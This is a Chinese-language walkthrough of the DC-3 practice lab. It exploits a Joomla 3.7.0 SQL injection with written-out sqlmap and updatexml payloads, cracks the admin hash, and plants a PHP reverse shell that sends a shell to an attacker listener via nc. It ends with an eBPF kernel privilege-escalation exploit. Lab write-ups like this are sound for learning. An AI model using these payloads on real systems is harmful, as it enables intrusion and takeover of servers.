刚考完试,然而不能放弃对技术的热爱,又重新拾起了dc准备把他们6个做完
今天介绍的是dc-3 ,来看看作者对他的评价
描述: DC-3是另一个专门建造的脆弱实验室,旨在获得渗透测试领域的经验。 与之前的DC版本一样,这个版本在设计时考虑了初学者,虽然这一次,只有一个标志,一个入口点,根本没有线索。 Linux技能和熟悉Linux命令行是必须的,基本渗透测试工具的一些经验也是必须的。 对于初学者来说,谷歌可以提供很大的帮助,但是你总是可以在@ DCAU7上给我发信息以获得帮助,让你再次前行。 但请注意:我不会给你答案,相反,我会告诉你如何前进。 对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花费你很长时间(实际上,你可能很容易花费不到20分钟)。 如果是这种情况,并且如果您希望它更具挑战性,您可以随时重做挑战并探索获得根并获得旗帜的其他方式首先设置靶机为NAT模式,如果获取不到ip 删除网络适配器重新添加
ip地址:
kali: 192.168.31.225
DC-3: 192.168.31.19
由于下载的靶机是vbox的使用的,在vmware上出现了一些小问题,所以耽搁了一点时间。
解决方法: vmware打开kali并且vbox打开DC-3 或者都使用vbox去打开
扫描网段
命令:nmap -sn 192.168.31.0/24
扫描端口
命令: nmap -sS 192.168.31.19
访问网站
url: http://192.168.31.19
指纹获取
看起来是joomla的cms,使用扫描工具跑一下
这里使用kali自带的扫描工具
命令: joomscan -u http://192.168.31.19
看来没有什么结果,在搜索的同时 ,我们尝试一些简单的操作,比如弱密码,sql注入,但是看起来情况不容乐观啥都没有,
扫描结果出来了,看看扫描到了版本信息,后台
版本信息: Joomla 3.7.0
后台目录: http://192.168.31.19/administrator/
查找相关漏洞
发现这个版本存在sql注入漏洞
接下来就是复现一下了
通过搜索发现可以注入获取到hash密码
参考链接: https://www.anquanke.com/post/id/86119
这里先借用工具试试: https://github.com/XiphosResearch/exploits/blob/master/Joomblah/joomblah.py
复制到本地,然后执行命令:python joomblah.py http://192.168.31.19
获取到user的信息
Found user ['629', 'admin', 'admin', 'freddy@norealaddress.net','$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu', '', '']
手工注入
获取hash 或者可以获取session来登录
附上poc 参考链接: https://www.exploit-db.com/exploits/42033
using sqlmap
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
1获取当前的用户
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)
也可以获取最近登录的session 这样也可以登录后台
2 获取版本
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(version())),0)
XPATH syntax error: '>5.7.25-0ubuntu0.16.04.2'
3 查数据库
index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(database())),0)
XPATH syntax error: '>joomladb'
其他的就不一一解释了
登录
破解hash值登录$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
爆破得到密码: snoopy
寻找上传点
反弹shell
写入代码
<?php system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 1337 >/tmp/f’); ?>
kali 监听 获取shell
这里切记一定要在同一个网段下,虽然两个网段也能通信但是shell反弹失败
获取交互模式
python 'import pty;pty.spawn("/bin/bash")'
注意: 如果交互模式不成功,就换个文件名或者换个路径重新反弹交互shell
获取信息
获取版本信息
搜索相关系统漏洞尝试提权
参考: https://www.exploit-db.com/
然后我参照大佬的选用了本地拒绝服务漏洞提权
如果要复现漏洞需要检查版本,用户权限
将提权下载到本地,编译后,使用wget下载,这个下载了好久才下载好
之后就是按步骤走了
下载两个文件
tar xf exploit.tar cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput提权成功
获取flag 这次花费了大量的时间调试,对于各种问题的解决方式有待提高,今日份的靶机奉上,本靶机只适合学习不要将其中的技术用于其他途径。